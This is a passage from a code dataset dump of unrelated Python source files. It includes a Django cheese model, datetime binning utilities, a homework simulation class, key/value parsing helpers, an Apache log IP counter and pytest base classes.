\".\")\n\t\t\telse:\n\t\t\t\tmiddlenames.append(namelist[i])\n\t\treturn namelist[-1] + \", \" + namelist[0] + \" \" + ' '.join(middlenames)\n\n\n\n","sub_path":"LastNameFirst.py","file_name":"LastNameFirst.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"216497838","text":"from django_countries.fields import CountryField\nfrom django.db import models\n\nfrom autoslug import AutoSlugField\nfrom model_utils.models import TimeStampedModel\n\n\nclass Cheese(TimeStampedModel):\n\n FIRMNESS_UNSPECIFIED = 'unspecified'\n FIRMNESS_SOFT = 'soft'\n FIRMNESS_SEMI_SOFT = 'semi-soft'\n FIRMNESS_SEMI_HARD = 'semi-hard'\n FIRMNESS_HARD = 'hard'\n FIRMNESS_CHOICES = (\n (FIRMNESS_UNSPECIFIED, 'Unspecified'),\n (FIRMNESS_SOFT, 'Soft'),\n (FIRMNESS_SEMI_SOFT, 'Semi-Soft'),\n (FIRMNESS_SEMI_HARD, 'Semi-Hard'),\n (FIRMNESS_HARD, 'Hard'),\n )\n\n name = models.CharField('Name of Cheese', max_length=255)\n slug = AutoSlugField('Cheese Address', unique=True, always_update=False,\n populate_from='name')\n description = models.TextField('Description', blank=True)\n firmness = models.CharField('Firmness', choices=FIRMNESS_CHOICES,\n default=FIRMNESS_UNSPECIFIED, max_length=15)\n country_of_origin = CountryField('Country of Origin', blank=True)\n\n def __str__(self):\n return self.name\n","sub_path":"everycheese/cheeses/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"195710326","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n# datetime_bin.py\n\"\"\"This module provides functions on binning and averaging data\"\"\"\n\nimport os, sys\n#import re\nfrom datetime import datetime, timedelta\nimport numpy as np\n#import scipy as sp\n#import matplotlib.pyplot as plt\n#from mpl_toolkits.basemap import Basemap\n#from matplotlib import mlab\nfrom .parser import *\n\n__all__ = ['datetime_bin', 'datetime_period', 'datetime_group', 'datetime_neighbor'] \ndef datetime_bin(datetimes, tdelta, starttime=None, endtime=None, return_bin_info=False):\n \"\"\"This function partition a serie of datetime objects into equal timedelta bin. \n Returns a list of np.where style tuples. If return_bin_info is True, also returns a list of (bin_start, bin_end) tuples.\n Parameters:\n datetimes is a seq of datetime objects, \n tdelta is a timedelta object,\n starttime is a datetime object or None. When it's None, use the first datetime in the input sequence as starttime\n endtime is a datetime object or None. When it's None, use the last datetime in the input sequence as endtime\n \"\"\"\n if len(datetimes) == 0:\n if return_bin_info:\n return [], []\n else:\n return []\n datetimes = parse_datetime(datetimes)\n if starttime is None:\n starttime = datetimes[0]\n else:\n starttime = parse_datetime(starttime)\n if endtime is None:\n endtime = datetimes[-1] # + tdelta / 2\n else:\n endtime = parse_datetime(endtime)\n if tdelta is None:\n tdelta = endtime - starttime\n else:\n tdelta = parse_timedelta(tdelta)\n\n tmpbin_start = starttime\n result = []\n bin_info = []\n tmpbin = []\n tmpbin_end = tmpbin_start + tdelta\n i = 0\n while tmpbin_start < endtime:\n if i == len(datetimes) or datetimes[i] >= tmpbin_end:\n bin_info.append((tmpbin_start, tmpbin_end))\n result.append((np.array(tmpbin, dtype='i8'), ))\n tmpbin = []\n tmpbin_start, tmpbin_end = tmpbin_end, tmpbin_end + tdelta\n elif datetimes[i] < tmpbin_start:\n i += 1\n else:\n tmpbin.append(i)\n i += 1\n \n if return_bin_info is True:\n return result, bin_info\n else:\n return result\n\ndef datetime_period(datetimes, splitpoints, starttime=None, endtime=None, return_bin_info=False, include_period_before_first_splitpoint=False):\n \"\"\"This function partition a serie of datetime objects into periods according to splitpoints. \n Returns a list of np.where style tuples. If return_bin_info is True, also returns a list of (bin_start, bin_end) tuples.\n Parameters:\n datetimes is a seq of datetime objects, \n splitpoints is a seq of datetime objects as splitpoints,\n starttime is a datetime object or None. When it's None, use the first datetime in the input sequence as starttime\n endtime is a datetime object or None. When it's None, use the last datetime in the input sequence as endtime\n return_bin_info: default False\n include_period_before_first_splitpoint: default False\n \"\"\"\n if len(datetimes) == 0:\n if return_bin_info:\n return [], []\n else:\n return []\n datetimes = parse_datetime(datetimes)\n min_dts = np.min(datetimes)\n max_dts = np.max(datetimes)\n if starttime is None:\n starttime = min_dts\n else:\n starttime = parse_datetime(starttime)\n if endtime is None:\n endtime = max_dts\n else:\n endtime = parse_datetime(endtime)\n if starttime > max_dts or endtime < min_dts:\n if return_bin_info:\n return [], []\n else:\n return []\n \n if not include_period_before_first_splitpoint:\n begs = list(splitpoints)\n ends = list(splitpoints)[1:] + [datetime.max]\n else:\n begs = [datetime.min] + list(splitpoints)\n ends = list(splitpoints) + [datetime.max]\n \n# start_i = np.argmax(splitpoints >= starttime)\n# end_i = np.argmin(splitpoints >= endtime)\n# TODO: add actual starttime and endtime support\n bes = zip(begs, ends)\n periods = []\n for b, e in bes:\n periods.append( np.where((datetimes >= b) & (datetimes < e)) )\n\n if return_bin_info:\n return periods, bes\n else:\n return periods\n\n\ndef datetime_group(datetimes, tdelta_threshold, starttime=None, endtime=None, return_bin_info=False):\n \"\"\"This function partition a serie of datetime objects into groups (clusters) according to a tdelta_threshold. \n Returns a list of np.where style tuples. If return_bin_info is True, also returns a list of (bin_start, bin_end) tuples.\n Parameters:\n datetimes is a seq of datetime objects, which should be sorted.\n tdelta_threshold: a timedelta object.\n starttime is a datetime object or None. When it's None, use the first datetime in the input sequence as starttime. Not Implemented\n endtime is a datetime object or None. When it's None, use the last datetime in the input sequence as endtime. NOt Implemented\n return_bin_info: default False\n \"\"\"\n if len(datetimes) == 0:\n if return_bin_info:\n return [], []\n else:\n return []\n datetimes = parse_datetime(datetimes)\n min_dts = np.min(datetimes)\n max_dts = np.max(datetimes)\n if starttime is None:\n starttime = min_dts\n else:\n starttime = parse_datetime(starttime)\n if endtime is None:\n endtime = max_dts\n else:\n endtime = parse_datetime(endtime)\n if starttime > max_dts or endtime < min_dts:\n if return_bin_info:\n return [], []\n else:\n return []\n \n basket = [0]\n pool = []\n for i in range (1, len(datetimes)):\n if datetimes[i] - datetimes[i-1] < tdelta_threshole:\n basket.append(i)\n else:\n pool.append(basket)\n basket = [i]\n pool.append(basket)\n result = [(b, ) for b in pool]\n if return_bin_info:\n return result, [(datetimes[b[0]], datetimes[b[-1]]) for b in pool] \n else:\n return result\n\ndef datetime_neighbor(datetimes, target_datetimes, tdelta_threshold, starttime=None, endtime=None, return_bin_info=False):\n \"\"\"This function finds proper datetimes which are near each target datetime point, within tdelta_threshold, from a serie of datetimes . \n Returns a list of np.where style tuples. If return_bin_info is True, also returns a list of (bin_start, bin_end) tuples.\n Parameters:\n datetimes is a seq of datetime objects, to be choosen from.\n target_datetimes: for each one in this, find its neighborhood.\n tdelta_threshold: a timedelta object.\n starttime is a datetime object or None. When it's None, use the first datetime in the input sequence as starttime. Not Implemented\n endtime is a datetime object or None. When it's None, use the last datetime in the input sequence as endtime. NOt Implemented\n return_bin_info: default False\n \"\"\"\n if len(datetimes) == 0:\n if return_bin_info:\n return [], []\n else:\n return []\n datetimes = parse_datetime(datetimes)\n min_dts = np.min(datetimes)\n max_dts = np.max(datetimes)\n if starttime is None:\n starttime = min_dts\n else:\n starttime = parse_datetime(starttime)\n if endtime is None:\n endtime = max_dts\n else:\n endtime = parse_datetime(endtime)\n if starttime > max_dts or endtime < min_dts:\n if return_bin_info:\n return [], []\n else:\n return []\n \n result = []\n bes = []\n for target in target_datetimes:\n b = target - tdelta_threshold\n e = target + tdelta_threshold\n w = np.where((datetimes>=b) & (datetimes<=e))\n result.append(w)\n bes.append((b,e))\n\n if return_bin_info:\n return result, bes\n else:\n return result\n\nif __name__ == '__main__':\n pass\n","sub_path":"metlib/datetime/datetime_bin.py","file_name":"datetime_bin.py","file_ext":"py","file_size_in_byte":7903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"245014652","text":"'''\nDana Solitaire\nSection 17\n11/24/2018\n\nThis class will track individuals moving along the universe and log their \nawards and total points. Most of the needed functions are in this class because \nit's easier to understand.\n'''\nimport math as m\n\nclass Person(object):\n #Initalizes person object with attributes\n #(str, float, str, float, float, float, float, str, list, bool)\n def __init__(self, name, radius, home_universe, x, y, dx, dy,\\\n current_universe, rewards):\n self.name = name\n self.radius = radius\n self.home_universe = home_universe\n self.x = float(x)\n self.y = float(y)\n self.dx = float(dx)\n self.dy = float(dy)\n self.current_universe = current_universe\n self.points = 0\n # [x, y, points, name, index]\n self.rewards = rewards\n #Stores dx and dy when stopped\n self.dx_stop = dx\n self.dy_stop = dy\n #Bool to check if person has stopped\n self.stop = False\n #Str that can contain name of other person collided with\n self.crashed_with = ''\n \n def __str__(self):\n #This function prints out person info\n print('{} of {} in universe {}'.format(self.name, self.home_universe,\\\n self.current_universe))\n print(4 * ' ' +\\\n 'at ({:.1f},{:.1f}) speed ({:.1f},{:.1f}) with {} rewards and {} points'.\\\n format(self.x, self.y, self.dx_stop, self.dy_stop,\\\n len(self.rewards), self.points))\n return ''\n #Simple function adds speed to position\n def move(self):\n self.x += self.dx\n self.y += self.dy\n\n #This checks if the center if the person is at or pass the borders\n def check_edges(self, step):\n if self.dx == 0 and self.dy == 0:\n return 0\n elif self.x >= 1000 or self.x <= 0 or\\\n self.y <= 0 or self.y >= 1000:\n print('{} stopped at simulation step {} at location ({:.1f},{:.1f})\\n'\\\n .format(self.name, step + 1, self.x, self.y))\n self.stop = True\n #Storing dx and dy\n self.dx_stop = self.dx\n self.dy_stop = self.dy\n #This ensures that move can be called and this person will not move\n self.dx = 0\n self.dy = 0\n \n #(object, int)\n #Checks if abs of dx and dy are less than 10, if so it stores the values,\n #sets stop bool to True, and sets dx and dy to zero\n def check_speed(self, step):\n if self.dx == 0 or self.dy ==0:\n return\n elif abs(self.dx) < 10 or abs(self.dy) < 10:\n print('{} stopped at simulation step {} at location ({:.1f},{:.1f})\\n'\\\n .format(self.name, step, self.x, self.y))\n self.stop = True\n self.dx_stop = self.dx\n self.dy_stop = self.dy\n self.dx = 0\n self.dy = 0\n \n #(object, int, list of list)\n #This function checks if reward is within person radius\n def near_reward(self, step, rewards):\n for reward in rewards.copy():\n distance = m.sqrt((self.x - reward[0]) ** 2\\\n + (self.y - reward[1]) ** 2)\n if distance <= self.radius:\n print('{} picked up \"{}\" at simulation step {}'\\\n .format(self.name, reward[3], step))\n #This adds rewards to the list of rewards person has\n self.rewards.append(reward)\n self.points += reward[2]\n #Removes the reward from the overall reward list for that universe\n rewards.remove(reward)\n n = len(self.rewards)\n #Reassigns dx and dy\n self.dx = self.dx - (n % 2) * (n / 6) * self.dx\n self.dy = self.dy - ((n + 1) % 2) * (n / 6) * self.dy\n #Prints output\n print('{} of {} in universe {}'.format(self.name, \\\n self.home_universe, self.current_universe))\n print(4 * ' ' +\\\n 'at ({:.1f},{:.1f}) speed ({:.1f},{:.1f}) with {} rewards and {} points\\n'.\\\n format(self.x, self.y, self.dx, self.dy,\\\n len(self.rewards), self.points))\n \n #(self, int, list)\n '''This function takes the step number and portals list from universe'''\n def near_portal(self, step, portals):\n for portal in portals:\n #Calculates the distance\n distance = m.sqrt((self.x - portal[0]) ** 2\\\n + (self.y - portal[1]) ** 2)\n if distance <= self.radius:\n print('{} passed through a portal at simulation step {}'\\\n .format(self.name, portal[3], step))\n self.current_universe = portal[3]\n self.x = portal[3]\n self.y = portal[4]\n #print('{} of {} in universe {})\n \n #This function checks if person is colliding with other people in universe\n def check_crash(self, people_list, rewards, step):\n for second_person in people_list:\n #Calculates distance\n distance = m.sqrt((self.x - second_person.x) ** 2\\\n + (self.y - second_person.y) ** 2)\n #This if statement skips thefunction if person is\n #colliding with itself\n if distance == 0:\n pass\n #This line checks if the person is within range of another person\n #and that it hasn't already crashed with the same person\n elif distance <= self.radius and self.crashed_with != second_person.name: \n print('{} and {} crashed at simulation step {} in universe {}'\\\n .format(self.name, second_person.name,\\\n step,self.current_universe))\n #Assigns crashed_with to other person's name\n self.crashed_with = second_person.name\n second_person.crashed_with = self.name\n if len(self.rewards) != 0:\n self_temp = self.rewards[0]\n print('{} dropped \"{}\", reward returned to {} at ({},{})'\\\n .format(self.name, self_temp[3], \\\n self.current_universe, self_temp[0], \\\n self_temp[1]))\n rewards.insert(self_temp[4], self_temp)\n self.rewards.pop(0)\n self.points -= self_temp[2]\n n = len(self.rewards) \n #Changes the speed only if reward is dropped\n self.dx = -(self.dx + (n % 2) * (n/6) * self.dx)\n self.dy = -(self.dy + ((n + 1) % 2) * (n/6)* self.dy)\n self.move() \n if len(second_person.rewards) != 0:\n temp_reward = second_person.rewards[0]\n print('{} dropped \"{}\", reward returned to {} at ({},{})'\\\n .format(second_person.name, temp_reward[3], \\\n second_person.current_universe, \\\n temp_reward[0], temp_reward[1]))\n rewards.insert(temp_reward[4],temp_reward)\n second_person.rewards.pop(0)\n second_person.points -= temp_reward[2]\n n = len(second_person.rewards)\n second_person.dx = -(second_person.dx + \\\n (n%2)* (n/6)*second_person.dx)\n second_person.dy = -(second_person.dy + \\\n ((n+ 1) % 2)* (n/ 6)\\\n * second_person.dy)\n second_person.move()\n #Printing output\n print('{} of {} in universe {}'.format(self.name, \\\n self.home_universe, self.current_universe))\n print(4 * ' ' +\\\n 'at ({:.1f},{:.1f}) speed ({:.1f},{:.1f}) with {} rewards and {} points\\n'.\\\n format(self.x, self.y, self.dx, self.dy,\\\n len(self.rewards), self.points)) \n print('{} of {} in universe {}'.format(second_person.name, \\\n second_person.home_universe, \\\n second_person.current_universe))\n print(4 * ' ' +\\\n 'at ({:.1f},{:.1f}) speed ({:.1f},{:.1f}) with {} rewards and {} points\\n'.\\\n format(second_person.x, second_person.y, second_person.dx, \\\n second_person.dy, len(second_person.rewards), \\\n second_person.points))\n \n #Overriding the less than function to compare persons based on points \n def __lt__(self, other):\n return self.points < other.points\n \n \n ","sub_path":"Homework/hw8/Person.py","file_name":"Person.py","file_ext":"py","file_size_in_byte":9019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"210955901","text":"#!/usr/bin/env python\n\nr\"\"\"\nDefine variable manipulation functions.\n\"\"\"\n\nimport os\nimport re\n\ntry:\n from robot.utils import DotDict\nexcept ImportError:\n pass\n\nimport collections\n\nimport gen_print as gp\nimport gen_misc as gm\n\n\ndef create_var_dict(*args):\n r\"\"\"\n Create a dictionary whose keys/values are the arg names/arg values passed\n to it and return it to the caller.\n\n Note: The resulting dictionary will be ordered.\n\n Description of argument(s):\n *args An unlimited number of arguments to be processed.\n\n Example use:\n\n first_name = 'Steve'\n last_name = 'Smith'\n var_dict = create_var_dict(first_name, last_name)\n\n gp.print_var(var_dict)\n\n The print-out of the resulting var dictionary is:\n var_dict:\n var_dict[first_name]: Steve\n var_dict[last_name]: Smith\n \"\"\"\n\n try:\n result_dict = collections.OrderedDict()\n except AttributeError:\n result_dict = DotDict()\n\n arg_num = 1\n for arg in args:\n arg_name = gp.get_arg_name(None, arg_num, stack_frame_ix=2)\n result_dict[arg_name] = arg\n arg_num += 1\n\n return result_dict\n\n\ndefault_record_delim = ':'\ndefault_key_val_delim = '.'\n\n\ndef join_dict(dict,\n record_delim=default_record_delim,\n key_val_delim=default_key_val_delim):\n r\"\"\"\n Join a dictionary's keys and values into a string and return the string.\n\n Description of argument(s):\n dict The dictionary whose keys and values are\n to be joined.\n record_delim The delimiter to be used to separate\n dictionary pairs in the resulting string.\n key_val_delim The delimiter to be used to separate keys\n from values in the resulting string.\n\n Example use:\n\n gp.print_var(var_dict)\n str1 = join_dict(var_dict)\n gp.pvar(str1)\n\n Program output.\n var_dict:\n var_dict[first_name]: Steve\n var_dict[last_name]: Smith\n str1:\n first_name.Steve:last_name.Smith\n \"\"\"\n\n format_str = '%s' + key_val_delim + '%s'\n return record_delim.join([format_str % (key, value) for (key, value) in\n dict.items()])\n\n\ndef split_to_dict(string,\n record_delim=default_record_delim,\n key_val_delim=default_key_val_delim):\n r\"\"\"\n Split a string into a dictionary and return it.\n\n This function is the complement to join_dict.\n\n Description of argument(s):\n string The string to be split into a dictionary.\n The string must have the proper delimiters\n in it. A string created by join_dict\n would qualify.\n record_delim The delimiter to be used to separate\n dictionary pairs in the input string.\n key_val_delim The delimiter to be used to separate\n keys/values in the input string.\n\n Example use:\n\n gp.print_var(str1)\n new_dict = split_to_dict(str1)\n gp.print_var(new_dict)\n\n\n Program output.\n str1:\n first_name.Steve:last_name.Smith\n new_dict:\n new_dict[first_name]: Steve\n new_dict[last_name]: Smith\n \"\"\"\n\n try:\n result_dict = collections.OrderedDict()\n except AttributeError:\n result_dict = DotDict()\n\n raw_keys_values = string.split(record_delim)\n for key_value in raw_keys_values:\n key_value_list = key_value.split(key_val_delim)\n try:\n result_dict[key_value_list[0]] = key_value_list[1]\n except IndexError:\n result_dict[key_value_list[0]] = \"\"\n\n return result_dict\n\n\ndef create_file_path(file_name_dict,\n dir_path=\"/tmp/\",\n file_suffix=\"\"):\n r\"\"\"\n Create a file path using the given parameters and return it.\n\n Description of argument(s):\n file_name_dict A dictionary with keys/values which are to\n appear as part of the file name.\n dir_path The dir_path that is to appear as part of\n the file name.\n file_suffix A suffix to be included as part of the\n file name.\n \"\"\"\n\n dir_path = gm.add_trailing_slash(dir_path)\n return dir_path + join_dict(file_name_dict) + file_suffix\n\n\ndef parse_file_path(file_path):\n r\"\"\"\n Parse a file path created by create_file_path and return the result as a\n dictionary.\n\n This function is the complement to create_file_path.\n\n Description of argument(s):\n file_path The file_path.\n\n Example use:\n gp.pvar(boot_results_file_path)\n file_path_data = parse_file_path(boot_results_file_path)\n gp.pvar(file_path_data)\n\n Program output.\n\n boot_results_file_path:\n /tmp/pgm_name.obmc_boot_test:openbmc_nickname.beye6:master_pid.2039:boot_re\n sults\n file_path_data:\n file_path_data[dir_path]: /tmp/\n file_path_data[pgm_name]: obmc_boot_test\n file_path_data[openbmc_nickname]: beye6\n file_path_data[master_pid]: 2039\n file_path_data[boot_results]:\n \"\"\"\n\n try:\n result_dict = collections.OrderedDict()\n except AttributeError:\n result_dict = DotDict()\n\n dir_path = os.path.dirname(file_path) + os.sep\n file_path = os.path.basename(file_path)\n\n result_dict['dir_path'] = dir_path\n\n result_dict.update(split_to_dict(file_path))\n\n return result_dict\n\n\ndef parse_key_value(string,\n delim=\":\",\n strip=\" \",\n to_lower=1,\n underscores=1):\n r\"\"\"\n Parse a key/value string and return as a key/value tuple.\n\n This function is useful for parsing a line of program output or data that\n is in the following form:\n \n\n An example of a key/value string would be as follows:\n\n Current Limit State: No Active Power Limit\n\n In the example shown, the delimiter is \":\". The resulting key would be as\n follows:\n Current Limit State\n\n Note: If one were to take the default values of to_lower=1 and\n underscores=1, the resulting key would be as follows:\n current_limit_state\n\n The to_lower and underscores arguments are provided for those who wish to\n have their key names have the look and feel of python variable names.\n\n The resulting value for the example above would be as follows:\n No Active Power Limit\n\n Another example:\n name=Mike\n\n In this case, the delim would be \"=\", the key is \"name\" and the value is\n \"Mike\".\n\n Description of argument(s):\n string The string to be parsed.\n delim The delimiter which separates the key from\n the value.\n strip The characters (if any) to strip from the\n beginning and end of both the key and the\n value.\n to_lower Change the key name to lower case.\n underscores Change any blanks found in the key name to\n underscores.\n \"\"\"\n\n pair = string.split(delim)\n\n key = pair[0].strip(strip)\n if len(pair) == 0:\n value = \"\"\n else:\n value = delim.join(pair[1:]).strip(strip)\n\n if to_lower:\n key = key.lower()\n if underscores:\n key = re.sub(r\" \", \"_\", key)\n\n return key, value\n\n\ndef key_value_list_to_dict(list,\n process_indent=0,\n **args):\n r\"\"\"\n Convert a list containing key/value strings to a dictionary and return it.\n\n See docstring of parse_key_value function for details on key/value strings.\n\n Example usage:\n\n For the following value of list:\n\n list:\n list[0]: Current Limit State: No Active Power Limit\n list[1]: Exception actions: Hard Power Off & Log Event to SEL\n list[2]: Power Limit: 0 Watts\n list[3]: Correction time: 0 milliseconds\n list[4]: Sampling period: 0 seconds\n\n And the following call in python:\n\n power_limit = key_value_outbuf_to_dict(list)\n\n The resulting power_limit directory would look like this:\n\n power_limit:\n [current_limit_state]: No Active Power Limit\n [exception_actions]: Hard Power Off & Log Event to SEL\n [power_limit]: 0 Watts\n [correction_time]: 0 milliseconds\n [sampling_period]: 0 seconds\n\n Another example containing a sub-list (see process_indent description\n below):\n\n Provides Device SDRs : yes\n Additional Device Support :\n Sensor Device\n SEL Device\n FRU Inventory Device\n Chassis Device\n\n Note that the 2 qualifications for containing a sub-list are met: 1)\n 'Additional Device Support' has no value and 2) The entries below it are\n indented. In this case those entries contain no delimiters (\":\") so they\n will be processed as a list rather than as a dictionary. The result would\n be as follows:\n\n mc_info:\n mc_info[provides_device_sdrs]: yes\n mc_info[additional_device_support]:\n mc_info[additional_device_support][0]: Sensor Device\n mc_info[additional_device_support][1]: SEL Device\n mc_info[additional_device_support][2]: FRU Inventory Device\n mc_info[additional_device_support][3]: Chassis Device\n\n Description of argument(s):\n list A list of key/value strings. (See\n docstring of parse_key_value function for\n details).\n process_indent This indicates that indented\n sub-dictionaries and sub-lists are to be\n processed as such. An entry may have a\n sub-dict or sub-list if 1) It has no value\n other than blank 2) There are entries\n below it that are indented.\n **args Arguments to be interpreted by\n parse_key_value. (See docstring of\n parse_key_value function for details).\n \"\"\"\n\n try:\n result_dict = collections.OrderedDict()\n except AttributeError:\n result_dict = DotDict()\n\n if not process_indent:\n for entry in list:\n key, value = parse_key_value(entry, **args)\n result_dict[key] = value\n return result_dict\n\n # Process list while paying heed to indentation.\n delim = args.get(\"delim\", \":\")\n # Initialize \"parent_\" indentation level variables.\n parent_indent = len(list[0]) - len(list[0].lstrip())\n sub_list = []\n for entry in list:\n key, value = parse_key_value(entry, **args)\n\n indent = len(entry) - len(entry.lstrip())\n\n if indent > parent_indent and parent_value == \"\":\n # This line is indented compared to the parent entry and the\n # parent entry has no value.\n # Append the entry to sub_list for later processing.\n sub_list.append(str(entry))\n continue\n\n # Process any outstanding sub_list and add it to\n # result_dict[parent_key].\n if len(sub_list) > 0:\n if any(delim in word for word in sub_list):\n # If delim is found anywhere in the sub_list, we'll process\n # as a sub-dictionary.\n result_dict[parent_key] = key_value_list_to_dict(sub_list,\n **args)\n else:\n result_dict[parent_key] = map(str.strip, sub_list)\n del sub_list[:]\n\n result_dict[key] = value\n\n parent_key = key\n parent_value = value\n parent_indent = indent\n\n # Any outstanding sub_list to be processed?\n if len(sub_list) > 0:\n if any(delim in word for word in sub_list):\n # If delim is found anywhere in the sub_list, we'll process as a\n # sub-dictionary.\n result_dict[parent_key] = key_value_list_to_dict(sub_list, **args)\n else:\n result_dict[parent_key] = map(str.strip, sub_list)\n\n return result_dict\n\n\ndef key_value_outbuf_to_dict(out_buf,\n **args):\n r\"\"\"\n Convert a buffer with a key/value string on each line to a dictionary and\n return it.\n\n Each line in the out_buf should end with a \\n.\n\n See docstring of parse_key_value function for details on key/value strings.\n\n Example usage:\n\n For the following value of out_buf:\n\n Current Limit State: No Active Power Limit\n Exception actions: Hard Power Off & Log Event to SEL\n Power Limit: 0 Watts\n Correction time: 0 milliseconds\n Sampling period: 0 seconds\n\n And the following call in python:\n\n power_limit = key_value_outbuf_to_dict(out_buf)\n\n The resulting power_limit directory would look like this:\n\n power_limit:\n [current_limit_state]: No Active Power Limit\n [exception_actions]: Hard Power Off & Log Event to SEL\n [power_limit]: 0 Watts\n [correction_time]: 0 milliseconds\n [sampling_period]: 0 seconds\n\n Description of argument(s):\n out_buf A buffer with a key/value string on each\n line. (See docstring of parse_key_value\n function for details).\n **args Arguments to be interpreted by\n parse_key_value. (See docstring of\n parse_key_value function for details).\n \"\"\"\n\n # Create key_var_list and remove null entries.\n key_var_list = list(filter(None, out_buf.split(\"\\n\")))\n return key_value_list_to_dict(key_var_list, **args)\n\n\ndef list_to_report(report_list,\n to_lower=1):\n r\"\"\"\n Convert a list containing report text lines to a report \"object\" and\n return it.\n\n The first entry in report_list must be a header line consisting of column\n names delimited by white space. No column name may contain white space.\n The remaining report_list entries should contain tabular data which\n corresponds to the column names.\n\n A report object is a list where each entry is a dictionary whose keys are\n the field names from the first entry in report_list.\n\n Example:\n Given the following report_list as input:\n\n rl:\n rl[0]: Filesystem 1K-blocks Used Available Use% Mounted on\n rl[1]: dev 247120 0 247120 0% /dev\n rl[2]: tmpfs 248408 79792 168616 32% /run\n\n This function will return a list of dictionaries as shown below:\n\n df_report:\n df_report[0]:\n [filesystem]: dev\n [1k-blocks]: 247120\n [used]: 0\n [available]: 247120\n [use%]: 0%\n [mounted]: /dev\n df_report[1]:\n [filesystem]: dev\n [1k-blocks]: 247120\n [used]: 0\n [available]: 247120\n [use%]: 0%\n [mounted]: /dev\n\n Notice that because \"Mounted on\" contains a space, \"on\" would be\n considered the 7th field. In this case, there is never any data in field\n 7 so things work out nicely. A caller could do some pre-processing if\n desired (e.g. change \"Mounted on\" to \"Mounted_on\").\n\n Description of argument(s):\n report_list A list where each entry is one line of\n output from a report. The first entry\n must be a header line which contains\n column names. Column names may not\n contain spaces.\n to_lower Change the resulting key names to lower\n case.\n \"\"\"\n\n # Process header line.\n header_line = report_list[0]\n if to_lower:\n header_line = header_line.lower()\n columns = header_line.split()\n\n report_obj = []\n for report_line in report_list[1:]:\n line = report_list[1].split()\n try:\n line_dict = collections.OrderedDict(zip(columns, line))\n except AttributeError:\n line_dict = DotDict(zip(columns, line))\n report_obj.append(line_dict)\n\n return report_obj\n\n\ndef outbuf_to_report(out_buf,\n **args):\n r\"\"\"\n Convert a text buffer containing report lines to a report \"object\" and\n return it.\n\n Refer to list_to_report (above) for more details.\n\n Example:\n\n Given the following out_buf:\n\n Filesystem 1K-blocks Used Available Use% Mounted on\n dev 247120 0 247120 0% /dev\n tmpfs 248408 79792 168616 32% /run\n\n This function will return a list of dictionaries as shown below:\n\n df_report:\n df_report[0]:\n [filesystem]: dev\n [1k-blocks]: 247120\n [used]: 0\n [available]: 247120\n [use%]: 0%\n [mounted]: /dev\n df_report[1]:\n [filesystem]: dev\n [1k-blocks]: 247120\n [used]: 0\n [available]: 247120\n [use%]: 0%\n [mounted]: /dev\n\n Other possible uses:\n - Process the output of a ps command.\n - Process the output of an ls command (the caller would need to supply\n column names)\n\n Description of argument(s):\n out_buf A text report The first line must be a\n header line which contains column names.\n Column names may not contain spaces.\n **args Arguments to be interpreted by\n list_to_report. (See docstring of\n list_to_report function for details).\n \"\"\"\n\n report_list = filter(None, out_buf.split(\"\\n\"))\n return list_to_report(report_list, **args)\n","sub_path":"lib/var_funcs.py","file_name":"var_funcs.py","file_ext":"py","file_size_in_byte":19225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"653245378","text":"from collections import Counter\nimport re\nimport csv\nimport argparse\n\n\n\ndef read_log(filename):\n \"\"\"Accepts log file and returns list of ips\"\"\"\n\n regexp = r\"\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\"\n\n with open(filename) as f:\n log = f.read()\n ip_list = re.findall(regexp, log)\n\n return ip_list\n\n\ndef ip_counter(list_of_ips):\n \"\"\"Counts ips in an input list. Returns a dictionary - ip: frequency \"\"\"\n return Counter(list_of_ips)\n \n\ndef write_to_csv(ip_dict, output_file=\"parsed.csv\"):\n \"\"\"Writes an input dictionary to a csv file\"\"\"\n\n with open(output_file, 'w') as csvfile:\n writer = csv.writer(csvfile)\n\n header = ['IP', 'Frequency']\n writer.writerow(header)\n\n for ip in ip_dict:\n writer.writerow((ip, ip_dict[ip]))\n\ndef main():\n parser = argparse.ArgumentParser(description='Extracting IP-addresses data from Apache logs.')\n parser.add_argument('log', help='Log filename. I.e. sample_log.txt or sample.log etc.')\n args = parser.parse_args()\n\n write_to_csv(ip_counter(read_log(args.log)))\n\n \n\n\nif __name__ == \"__main__\":\n #write_to_csv(ip_counter(read_log(\"optimist_2016_02_04.log\")))\n main()\n\n\n\n\n\n\n","sub_path":"ala.py","file_name":"ala.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"444537741","text":"# -*- coding: utf-8 -*-\n# ----------------------------------------------------------------------\n# Base testing classes\n# ----------------------------------------------------------------------\n# Copyright (C) 2007-2018 The NOC Project\n# See LICENSE for details\n# ----------------------------------------------------------------------\n\n# Third-party modules\nfrom django.db import connection\nimport pytest\n\n\n@pytest.mark.usefixtures(\"database\")\nclass BaseModelTest(object):\n model = None # Must be overriden\n\n def get_cursor(self):\n return connection.cursor()\n\n def test_database_table(self):\n \"\"\"\n Check database table is created during migration\n :return:\n \"\"\"\n assert self.model._meta.db_table\n c = self.get_cursor()\n c.execute(\n \"SELECT COUNT(*) FROM pg_class WHERE relname=%s\",\n [self.model._meta.db_table]\n )\n return c.fetchall()[0][0] == 1\n\n def test_uncode(self):\n for o in self.model.objects.all():\n assert unicode(o)\n\n\n@pytest.mark.usefixtures(\"database\")\nclass BaseDocumentTest(object):\n model = None # Must be overriden\n\n def get_collection(self):\n return self.model._get_collection()\n\n def test_uncode(self):\n for o in self.model.objects.all():\n assert unicode(o)\n","sub_path":"tests/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"396336918","text":"'''\nFast Exponentiation:\n\nAsk the user to enter 2 integers a and b and output a^b (i.e. pow(a,b)) in O(lg n) time complexity.\n'''\n\n\ndef nr_power(a, b):\n if b == 0:\n return 1\n temp = pow(a, b // 